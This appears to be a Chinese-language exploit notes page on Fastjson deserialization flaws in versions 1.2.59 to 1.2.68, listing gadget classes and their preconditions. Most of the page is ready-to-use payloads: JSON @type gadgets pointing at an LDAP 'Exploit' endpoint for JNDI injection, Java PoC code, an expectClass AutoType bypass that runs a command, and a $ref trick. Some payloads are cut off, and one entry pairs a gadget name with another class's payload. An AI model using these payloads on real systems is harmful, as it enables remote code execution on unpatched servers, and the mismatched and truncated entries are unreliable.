1.2.62 反序列化漏洞
前提条件
- 需要开启AutoType;
- Fastjson <= 1.2.62;
- JNDI注入利用所受的JDK版本限制;
- 目标服务端需要存在xbean-reflect包;xbean-reflect 包的版本不限,我这里把 pom.xml 贴出来。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
<dependencies>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.62</version>
</dependency>
<dependency>
<groupId>org.apache.xbean</groupId>
<artifactId>xbean-reflect</artifactId>
<version>4.18</version>
</dependency>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>
|
漏洞原理
JndiConverter
类有个toObjectImpl
方法

存在JNDI注入漏洞
但是这个类没有构造方法,无法通过fastjson反序列化触发
但是这个继承了一个抽象类AbstractConverter
AbstractConverter
里的setAsText

然后会调用其子类JndiConverter
重写的toObjectImpl
方法,从而触发JNDI注入
exp
1
2
3
|
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = "{\"@type\":\"org.apache.xbean.propertyeditor.JndiConverter\","+"\"AsText\":\"ldap://127.0.0.1:8085/SZbYoVCf\"}";
JSON.parse(payload);
|

剩下的反序列化绕过
1.2.66 反序列化漏洞
前提条件
- 开启AutoType;
- Fastjson <= 1.2.66;
- JNDI注入利用所受的JDK版本限制;
- org.apache.shiro.jndi.JndiObjectFactory类需要shiro-core包;
- br.com.anteros.dbcp.AnterosDBCPConfig 类需要 Anteros-Core和 Anteros-DBCP 包;
- com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig类需要ibatis-sqlmap和jta包;
新Gadget绕过黑名单限制。
1.2.66涉及多条Gadget链,原理都是存在JDNI注入漏洞。
org.apache.shiro.realm.jndi.JndiRealmFactory类PoC:
1
|
{"@type":"org.apache.shiro.realm.jndi.JndiRealmFactory", "jndiNames":["ldap://localhost:1389/Exploit"], "Realms":[""]}
|
br.com.anteros.dbcp.AnterosDBCPConfig类PoC:
1
|
{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://localhost:1389/Exploit"}或{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","healthCheckRegistry":"ldap://localhost:1389/Exploit"}
|
com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig类
1
|
{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTra
|
1.2.67反序列化漏洞(黑名单绕过)
前提条件
- 开启AutoType;
- Fastjson <= 1.2.67;
- JNDI注入利用所受的JDK版本限制;
- org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup类需要ignite-core、ignite-jta和jta依赖;
- org.apache.shiro.jndi.JndiObjectFactory类需要shiro-core和slf4j-api依赖;
漏洞原理
新Gadget绕过黑名单限制。
org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup类PoC:
1
|
{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup", "jndiNames":["ldap://localhost:1389/Exploit"], "tm": {"$ref":"$.tm"}}
|
org.apache.shiro.jndi.JndiObjectFactory类PoC:
1
|
{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://localhost:1389/Exploit","instance":{"$ref":"$.instance"}}
|
poc
1
2
3
4
|
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String poc = "{\"@type\":\"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup\"," +
" \"jndiNames\":[\"ldap://localhost:1234/ExportObject\"], \"tm\": {\"$ref\":\"$.tm\"}}";
JSON.parse(poc);
|
1.2.68反序列化漏洞(expectClass绕过AutoType)
前提条件
- Fastjson <= 1.2.68;
- 利用类必须是expectClass类的子类或实现类,并且不在黑名单中;
漏洞原理
本次绕过checkAutoType()
函数的关键点在于其第二个参数expectClass,可以通过构造恶意JSON数据、传入某个类作为expectClass参数再传入另一个expectClass类的子类或实现类来实现绕过checkAutoType()
函数执行恶意操作。
简单地说,本次绕过checkAutoType()
函数的攻击步骤为:
- 先传入某个类,其加载成功后将作为expectClass参数传入
checkAutoType()
函数;
- 查找expectClass类的子类或实现类,如果存在这样一个子类或实现类其构造方法或
setter
方法中存在危险操作则可以被攻击利用;
漏洞复现
简单地验证利用expectClass绕过的可行性,先假设Fastjson服务端存在如下实现AutoCloseable接口类的恶意类VulAutoCloseable:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
public class VulAutoCloseable implements AutoCloseable {
public VulAutoCloseable(String cmd) {
try {
Runtime.getRuntime().exec(cmd);
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
public void close() throws Exception {
}
}
|
poc
1
|
{"@type":"java.lang.AutoCloseable","@type":"org.example.VulAutoCloseable","cmd":"calc"}
|
其他一些绕过黑名单的Gadget
这里补充下其他一些Gadget,可自行尝试。注意,均需要开启AutoType,且会被JNDI注入利用所受的JDK版本限制。
1.2.59
com.zaxxer.hikari.HikariConfig类PoC:
JSON
1
|
{"@type":"com.zaxxer.hikari.HikariConfig","metricRegistry":"ldap://localhost:1389/Exploit"}或{"@type":"com.zaxxer.hikari.HikariConfig","healthCheckRegistry":"ldap://localhost:1389/Exploit"}
|
1.2.61
org.apache.commons.proxy.provider.remoting.SessionBeanProvider类PoC:
JSON
1
|
{"@type":"org.apache.commons.proxy.provider.remoting.SessionBeanProvider","jndiName":"ldap://localhost:1389/Exploit","Object":"a"}
|
1.2.62
org.apache.cocoon.components.slide.impl.JMSContentInterceptor类PoC:
JSON
1
|
{"@type":"org.apache.commons.proxy.provider.remoting.SessionBeanProvider","jndiName":"ldap://localhost:1389/Exploit","Object":"a"}
|
1.2.68
org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig类PoC:
JSON
1
|
{"@type":"org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig","metricRegistry":"ldap://localhost:1389/Exploit"}或{"@type":"org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig","healthCheckRegistry":"ldap://localhost:1389/Exploit"}
|
com.caucho.config.types.ResourceRef类PoC:
JSON
1
|
{"@type":"com.caucho.config.types.ResourceRef","lookupName": "ldap://localhost:1389/Exploit", "value": {"$ref":"$.value"}}
|
未知版本
org.apache.aries.transaction.jms.RecoverablePooledConnectionFactory类PoC:
JSON
1
|
{"@type":"org.apache.aries.transaction.jms.RecoverablePooledConnectionFactory", "tmJndiName": "ldap://localhost:1389/Exploit", "tmFromJndi": true, "transactionManager": {"$ref":"$.transactionManager"}}
|
org.apache.aries.transaction.jms.internal.XaPooledConnectionFactory类PoC:
JSON
1
|
{"@type":"org.apache.aries.transaction.jms.internal.XaPooledConnectionFactory", "tmJndiNa
|
利用$ref实现fastjson的反序列化
这是利用了fastjson的jsonpath
poc
1
2
3
|
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = "[{\"@type\":\"com.lxraa.serialize.fastjson.Test\",\"id\":123},{\"$ref\":\"$[0].id\"}]";
{\"$ref\":\"$[0].id\"} 反序列化时会调用Test类的getid方法
|
代码跟进到能看到invoke反射调用方法,

method
类似于Method method = getMethod("getid");
javaObject是Test
类